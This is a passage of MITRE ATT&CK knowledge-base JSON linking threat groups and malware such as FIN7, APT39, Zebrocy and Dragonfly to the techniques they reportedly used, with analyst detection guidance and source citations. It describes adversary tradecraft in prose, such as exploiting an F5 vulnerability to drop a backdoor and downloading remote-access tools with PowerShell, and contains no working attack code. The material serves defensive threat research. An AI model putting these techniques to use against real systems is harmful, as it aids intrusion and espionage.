Retrieved September 1, 2021"}],"modified":"2021-10-07T20:19:55.937Z","description":"[BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) has exploited CVE-2020-5902, an F5 BIP-IP vulnerability, to drop a Linux backdoor. [BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) has also exploited mis-configured Plesk servers.(Citation: ESET BackdoorDiplomacy Jun 2021)","relationship_type":"uses","source_ref":"intrusion-set--9735c036-8ebe-47e9-9c77-b0ae656dab93","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3565539f-7ebf-4288-8422-5212c774821b","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT30","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. 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A Global Perspective of the SideWinder APT. Retrieved January 27, 2021."},{"source_name":"Rewterz Sidewinder APT April 2020","url":"https://www.rewterz.com/threats/sidewinder-apt-group-campaign-analysis","description":"Rewterz. (2020, April 20). Sidewinder APT Group Campaign Analysis. Retrieved January 29, 2021."},{"source_name":"Rewterz Sidewinder COVID-19 June 2020","url":"https://www.rewterz.com/articles/analysis-on-sidewinder-apt-group-covid-19","description":"Rewterz. (2020, June 22). Analysis on Sidewinder APT Group – COVID-19. Retrieved January 29, 2021."},{"source_name":"Cyble Sidewinder September 2020","url":"https://cybleinc.com/2020/09/26/sidewinder-apt-targets-with-futuristic-tactics-and-techniques/","description":"Cyble. (2020, September 26). SideWinder APT Targets with futuristic Tactics and Techniques. Retrieved January 29, 2021."}],"modified":"2021-07-21T12:24:09.318Z","description":"[Sidewinder](https://attack.mitre.org/groups/G0121) has lured targets to click on malicious links to gain execution in the target environment.(Citation: ATT Sidewinder January 2021)(Citation: Rewterz Sidewinder APT April 2020)(Citation: Rewterz Sidewinder COVID-19 June 2020)(Citation: Cyble Sidewinder September 2020)","relationship_type":"uses","source_ref":"intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f879eea1-2a05-484d-adbb-c3504813fc5d","type":"relationship","created":"2017-05-31T21:33:27.034Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant Operation Ke3chang November 2014","description":"Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION “KE3CHANG”: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.","url":"https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs"},{"source_name":"NCC Group APT15 Alive and Strong","description":"Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.","url":"https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"}],"modified":"2021-11-01T21:12:14.974Z","description":"(Citation: Mandiant Operation Ke3chang November 2014)(Citation: NCC Group APT15 Alive and Strong)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"tool--294e2560-bd48-44b2-9da2-833b5588ad11","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b5dfa67d-4d96-413c-8d35-f20914019303","type":"relationship","created":"2022-03-30T14:26:51.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.855Z","description":"Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time.","source_ref":"x-mitre-data-component--167b48f7-76e9-4fcb-9e8d-7121f7bf56c3","target_ref":"attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ef3ed455-e147-4823-bfc3-b40c82da8cb3","created":"2022-03-30T14:26:51.843Z","x_mitre_version":"0.1","external_references":[],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor executed commands and arguments that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through [PowerShell](https://attack.mitre.org/techniques/T1059/001), additional logging of PowerShell scripts is recommended.","modified":"2022-04-20T00:41:26.009Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cf237fa7-165c-463a-90bb-aa6e20de5249","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html","description":"Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.","source_name":"FireEye FELIXROOT July 2018"},{"source_name":"ESET GreyEnergy Oct 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf","description":"Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. 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Remote access tools with built-in features may interact directly with the Windows API to gather information.","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--ac9e6b22-11bf-45d7-9181-c1cb08360931","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--86b7bab7-a1d6-4820-be55-c379f3967f1a","type":"relationship","created":"2019-01-30T18:39:48.457Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Sofacy Feb 2018","url":"https://securelist.com/a-slice-of-2017-sofacy-activity/83930/","description":"Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018."},{"source_name":"ESET Zebrocy Nov 2018","url":"https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/","description":"ESET. (2018, November 20). Sednit: What’s going on with Zebrocy?. Retrieved February 12, 2019."},{"description":"ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.","url":"https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/","source_name":"ESET Zebrocy May 2019"},{"source_name":"Accenture SNAKEMACKEREL Nov 2018","url":"https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50","description":"Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019."},{"source_name":"CISA Zebrocy Oct 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b","description":"CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020."}],"modified":"2020-12-09T21:54:33.639Z","description":"[Zebrocy](https://attack.mitre.org/software/S0251) searches for files that are 60mb and less and contain the following extensions: .doc, .docx, .xls, .xlsx, .ppt, .pptx, .exe, .zip, and .rar. [Zebrocy](https://attack.mitre.org/software/S0251) also runs the <code>echo %APPDATA%</code> command to list the contents of the directory.(Citation: Securelist Sofacy Feb 2018)(Citation: ESET Zebrocy Nov 2018)(Citation: ESET Zebrocy May 2019) [Zebrocy](https://attack.mitre.org/software/S0251) can obtain the current execution path as well as perform drive enumeration.(Citation: Accenture SNAKEMACKEREL Nov 2018)(Citation: CISA Zebrocy Oct 2020) ","relationship_type":"uses","source_ref":"malware--a4f57468-fbd5-49e4-8476-52088220b92d","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d4231fe6-3a2d-45b7-bb71-68f285373a41","type":"relationship","created":"2022-03-30T14:26:51.876Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.876Z","description":"Monitor for newly constructed processes and/or command-lines of \"wmic\"","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--da53b0a3-6b35-46af-b47c-f2e9f22ec683","type":"relationship","created":"2020-02-05T16:23:01.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-02-05T16:23:01.845Z","relationship_type":"revoked-by","source_ref":"attack-pattern--6fb6408c-0db3-41d9-a3a1-a32e5f16454e","target_ref":"attack-pattern--31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3eb29574-145d-4d4a-b4c6-e94b8a79781e","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DustySky","description":"ClearSky. (2016, January 7). Operation DustySky. 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Retrieved May 11, 2020."}],"modified":"2020-05-28T00:01:09.700Z","description":"[Frankenstein](https://attack.mitre.org/groups/G0101) has used WMI queries to check if various security applications were running, as well as the operating system version.(Citation: Talos Frankenstein June 2019)","relationship_type":"uses","source_ref":"intrusion-set--6b1b551c-d770-4f95-8cfc-3cd253c4c04e","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9f2ee173-a4b2-45d9-8dfe-537f1fc82ef4","created":"2022-02-08T16:11:38.672Z","x_mitre_version":"1.0","external_references":[{"source_name":"Peirates GitHub","url":"https://github.com/inguardians/peirates","description":"InGuardians. (2022, January 5). Peirates GitHub. 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Retrieved September 22, 2021."}],"modified":"2021-09-23T13:47:12.944Z","description":"[SMOKEDHAM](https://attack.mitre.org/software/S0649) has used Powershell to download UltraVNC and [Ngrok](https://attack.mitre.org/software/S0508) from third-party file sharing sites.(Citation: FireEye SMOKEDHAM June 2021)","relationship_type":"uses","source_ref":"malware--7e0f8b0f-716e-494d-827e-310bd6ed709e","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5adfebe4-4bfd-4848-9727-379d7284dcc8","type":"relationship","created":"2021-10-01T20:57:16.348Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity InkySquid BLUELIGHT August 2021","url":"https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/","description":"Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. 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(2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019."},{"description":"Symantec Security Response. (2015, December 7). Iran-based attackers use back door threats to spy on Middle Eastern targets. Retrieved April 17, 2019.","url":"https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets","source_name":"Symantec Chafer Dec 2015"},{"source_name":"FBI FLASH APT39 September 2020","url":"https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf","description":"FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."},{"source_name":"Dept. of Treasury Iran Sanctions September 2020","url":"https://home.treasury.gov/news/press-releases/sm1127","description":"Dept. of Treasury. (2020, September 17). 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Retrieved December 11, 2020."},{"source_name":"Dark Reading APT39 JAN 2019","url":"https://www.darkreading.com/attacks-breaches/iran-ups-its-traditional-cyber-espionage-tradecraft/d/d-id/1333764","description":"Higgins, K. (2019, January 30). Iran Ups its Traditional Cyber Espionage Tradecraft. Retrieved May 22, 2020."}],"modified":"2021-10-12T23:08:30.844Z","name":"APT39","description":"[APT39](https://attack.mitre.org/groups/G0087) is one of several names for cyberespionage activity conducted by the Iranian Ministry of Intelligence and Security (MOIS) through the front company Rana Intelligence Computing since at least 2014. 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(2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020."}],"modified":"2022-03-25T13:18:53.793Z","name":"Operation Wocao","description":"[Operation Wocao](https://attack.mitre.org/groups/G0116) described activities carried out by a China-based cyber espionage adversary. [Operation Wocao](https://attack.mitre.org/groups/G0116) targeted entities within the government, managed service providers, energy, health care, and technology sectors across several countries, including China, France, Germany, the United Kingdom, and the United States. [Operation Wocao](https://attack.mitre.org/groups/G0116) used similar TTPs and tools to APT20, suggesting a possible overlap.(Citation: FoxIT Wocao December 2019)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["FIN4"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6","type":"intrusion-set","created":"2019-01-31T02:01:45.129Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://attack.mitre.org/groups/G0085","source_name":"mitre-attack","external_id":"G0085"},{"source_name":"FIN4","description":"(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye FIN4 Stealing Insider NOV 2014)(Citation: FireEye Hacking FIN4 Video Dec 2014)"},{"description":"Vengerik, B. et al.. (2014, December 5). Hacking the Street? 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(2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.","source_name":"FireEye APT19"},{"url":"https://web.archive.org/web/20171017072306/https://icitech.org/icit-brief-chinas-espionage-dynasty-economic-death-by-a-thousand-cuts/","description":"Scott, J. and Spaniel, D. (2016, July 28). ICIT Brief - China’s Espionage Dynasty: Economic Death by a Thousand Cuts. Retrieved June 7, 2018.","source_name":"ICIT China's Espionage Jul 2016"},{"source_name":"FireEye APT Groups","description":"FireEye. (n.d.). Advanced Persistent Threat Groups. Retrieved August 3, 2018.","url":"https://www.fireeye.com/current-threats/apt-groups.html#apt19"},{"url":"https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/","description":"Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.","source_name":"Unit 42 C0d0so0 Jan 2016"},{"source_name":"Dark Reading Codoso Feb 2015","description":"Chickowski, E. (2015, February 10). Chinese Hacking Group Codoso Team Uses Forbes.com As Watering Hole. Retrieved September 13, 2018.","url":"https://www.darkreading.com/attacks-breaches/chinese-hacking-group-codoso-team-uses-forbescom-as-watering-hole-/d/d-id/1319059"}],"modified":"2021-05-26T12:38:01.003Z","name":"APT19","description":"[APT19](https://attack.mitre.org/groups/G0073) is a Chinese-based threat group that has targeted a variety of industries, including defense, finance, energy, pharmaceutical, telecommunications, high tech, education, manufacturing, and legal services. In 2017, a phishing campaign was used to target seven law and investment firms. (Citation: FireEye APT19) Some analysts track [APT19](https://attack.mitre.org/groups/G0073) and [Deep Panda](https://attack.mitre.org/groups/G0009) as the same group, but it is unclear from open source information if the groups are the same. (Citation: ICIT China's Espionage Jul 2016) (Citation: FireEye APT Groups) (Citation: Unit 42 C0d0so0 Jan 2016)","x_mitre_version":"1.4","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--93a6e38c-02a5-44d8-9035-b2e08459f31f","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.271Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2022-03-30T14:26:51.806Z","name":"Malware Metadata","description":"Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)","x_mitre_data_source_ref":"x-mitre-data-source--b86d9b40-5fbe-4ef1-8dc3-263eff26f495","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Dragonfly 2.0","IRON LIBERTY","DYMALLOY","Berserk Bear"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"intrusion-set","id":"intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71","created":"2018-10-17T00:14:20.652Z","x_mitre_version":"2.1","external_references":[{"source_name":"mitre-attack","external_id":"G0074","url":"https://attack.mitre.org/groups/G0074"},{"source_name":"DYMALLOY","description":"(Citation: Dragos DYMALLOY )"},{"source_name":"Berserk Bear","description":"(Citation: Fortune Dragonfly 2.0 Sept 2017)"},{"source_name":"IRON LIBERTY","description":"(Citation: Secureworks MCMD July 2019)(Citation: Secureworks IRON LIBERTY)"},{"source_name":"Dragonfly 2.0","description":"(Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) (Citation: Fortune Dragonfly 2.0 Sept 2017)"},{"source_name":"Dragos DYMALLOY ","url":"https://www.dragos.com/threat/dymalloy/","description":"Dragos. (n.d.). DYMALLOY. Retrieved August 20, 2020."},{"source_name":"Fortune Dragonfly 2.0 Sept 2017","url":"http://fortune.com/2017/09/06/hack-energy-grid-symantec/","description":"Hackett, R. (2017, September 6). Hackers Have Penetrated Energy Grid, Symantec Warns. Retrieved June 6, 2018."},{"source_name":"Secureworks MCMD July 2019","url":"https://www.secureworks.com/research/mcmd-malware-analysis","description":"Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020."},{"source_name":"Secureworks IRON LIBERTY","url":"https://www.secureworks.com/research/threat-profiles/iron-liberty","description":"Secureworks. (n.d.). IRON LIBERTY. Retrieved October 15, 2020."},{"source_name":"Symantec Dragonfly Sept 2017","url":"https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group","description":"Symantec Security Response. (2017, September 6). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017."},{"source_name":"US-CERT TA18-074A","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018."}],"x_mitre_deprecated":false,"revoked":true,"description":"[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) is a suspected Russian group that has targeted government entities and multiple U.S. critical infrastructure sectors since at least December 2015. (Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) There is debate over the extent of overlap between [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) and [Dragonfly](https://attack.mitre.org/groups/G0035), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY )","modified":"2022-04-15T22:05:32.122Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Dragonfly 2.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["GALLIUM","Operation Soft Cell"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Daniyal Naeem, BT Security","Cybereason Nocturnus, @nocturnus"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","type":"intrusion-set","created":"2019-07-18T20:47:50.050Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0093","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0093"},{"source_name":"GALLIUM","description":"(Citation: Microsoft GALLIUM December 2019)"},{"source_name":"Operation Soft Cell","description":"(Citation: Cybereason Soft Cell June 2019)"},{"description":"Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.","url":"https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers","source_name":"Cybereason Soft Cell June 2019"},{"source_name":"Microsoft GALLIUM December 2019","url":"https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/","description":"MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."}],"modified":"2021-04-23T01:32:21.874Z","name":"GALLIUM","description":"[GALLIUM](https://attack.mitre.org/groups/G0093) is a group that has been active since at least 2012, primarily targeting high-profile telecommunications networks. [GALLIUM](https://attack.mitre.org/groups/G0093) has been identified in some reporting as likely a Chinese state-sponsored group, based in part on tools used and TTPs commonly associated with Chinese threat actors.(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019)","x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["FIN7","GOLD NIAGARA","ITG14","Carbon Spider"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Edward Millington"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","type":"intrusion-set","created":"2017-05-31T21:32:09.460Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0046","external_id":"G0046"},{"source_name":"FIN7","description":"(Citation: FireEye FIN7 March 2017) (Citation: FireEye FIN7 April 2017) (Citation: Morphisec FIN7 June 2017) (Citation: FireEye FIN7 Shim Databases) (Citation: FireEye FIN7 Aug 2018)"},{"source_name":"GOLD NIAGARA","description":"(Citation: Secureworks GOLD NIAGARA Threat Profile)"},{"source_name":"ITG14","description":"ITG14 shares campaign overlap with [FIN7](https://attack.mitre.org/groups/G0046).(Citation: IBM Ransomware Trends September 2020)"},{"source_name":"Carbon Spider","description":"(Citation: CrowdStrike Carbon Spider August 2021)"},{"source_name":"FireEye FIN7 March 2017","description":"Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html"},{"url":"https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html","description":"Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.","source_name":"FireEye FIN7 April 2017"},{"source_name":"FireEye CARBANAK June 2017","description":"Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html"},{"url":"https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html","description":"Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.","source_name":"FireEye FIN7 Aug 2018"},{"source_name":"CrowdStrike Carbon Spider August 2021","url":"https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/","description":"Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021."},{"source_name":"Morphisec FIN7 June 2017","description":"Gorelik, M.. (2017, June 9). FIN7 Takes Another Bite at the Restaurant Industry. Retrieved July 13, 2017.","url":"http://blog.morphisec.com/fin7-attacks-restaurant-industry"},{"source_name":"FireEye FIN7 Shim Databases","description":"Erickson, J., McWhirt, M., Palombo, D. (2017, May 3). To SDB, Or Not To SDB: FIN7 Leveraging Shim Databases for Persistence. Retrieved July 18, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html"},{"source_name":"Secureworks GOLD NIAGARA Threat Profile","url":"https://www.secureworks.com/research/threat-profiles/gold-niagara","description":"CTU. (n.d.). GOLD NIAGARA. Retrieved September 21, 2021."},{"source_name":"IBM Ransomware Trends September 2020","url":"https://securityintelligence.com/posts/ransomware-2020-attack-trends-new-techniques-affecting-organizations-worldwide/","description":"Singleton, C. and Kiefer, C. (2020, September 28). Ransomware 2020: Attack Trends Affecting Organizations Worldwide. Retrieved September 20, 2021."}],"modified":"2022-02-02T21:32:06.214Z","name":"FIN7","description":"[FIN7](https://attack.mitre.org/groups/G0046) is a financially-motivated threat group that has been active since 2013 primarily targeting the U.S. retail, restaurant, and hospitality sectors, often using point-of-sale malware. A portion of [FIN7](https://attack.mitre.org/groups/G0046) was run out of a front company called Combi Security. Since 2020 [FIN7](https://attack.mitre.org/groups/G0046) shifted operations to a big game hunting (BGH) approach including use of [REvil](https://attack.mitre.org/software/S0496) ransomware and their own Ransomware as a Service (RaaS), Darkside. [FIN7](https://attack.mitre.org/groups/G0046) may be linked to the [Carbanak](https://attack.mitre.org/groups/G0008) Group, but there appears to be several groups using [Carbanak](https://attack.mitre.org/software/S0030) malware and are therefore tracked separately.(Citation: FireEye FIN7 March 2017)(Citation: FireEye FIN7 April 2017)(Citation: FireEye CARBANAK June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carbon Spider August 2021)","x_mitre_version":"2.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Dragonfly","TEMP.Isotope","DYMALLOY","Berserk Bear","TG-4192","Crouching Yeti","IRON LIBERTY","Energetic Bear"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"intrusion-set","id":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","created":"2017-05-31T21:32:05.217Z","x_mitre_version":"3.0","external_references":[{"source_name":"mitre-attack","external_id":"G0035","url":"https://attack.mitre.org/groups/G0035"},{"source_name":"DYMALLOY","description":"(Citation: Dragos DYMALLOY )(Citation: UK GOV FSB Factsheet April 2022)"},{"source_name":"Berserk Bear","description":"(Citation: Gigamon Berserk Bear October 2021)(Citation: DOJ Russia Targeting Critical Infrastructure March 2022)(Citation: UK GOV FSB Factsheet April 2022)"},{"source_name":"TEMP.Isotope","description":"(Citation: Mandiant Ukraine Cyber Threats January 2022)(Citation: Gigamon Berserk Bear October 2021)"},{"source_name":"Crouching Yeti","description":"(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Gigamon Berserk Bear October 2021)(Citation: DOJ Russia Targeting Critical Infrastructure March 2022)(Citation: UK GOV FSB Factsheet April 2022)"},{"source_name":"IRON LIBERTY","description":"(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Secureworks MCMD July 2019)(Citation: Secureworks Karagany July 2019)(Citation: UK GOV FSB Factsheet April 2022)"},{"source_name":"TG-4192","description":"(Citation: Secureworks IRON LIBERTY July 2019)(Citation: UK GOV FSB Factsheet April 2022)"},{"source_name":"Dragonfly","description":"(Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Gigamon Berserk Bear October 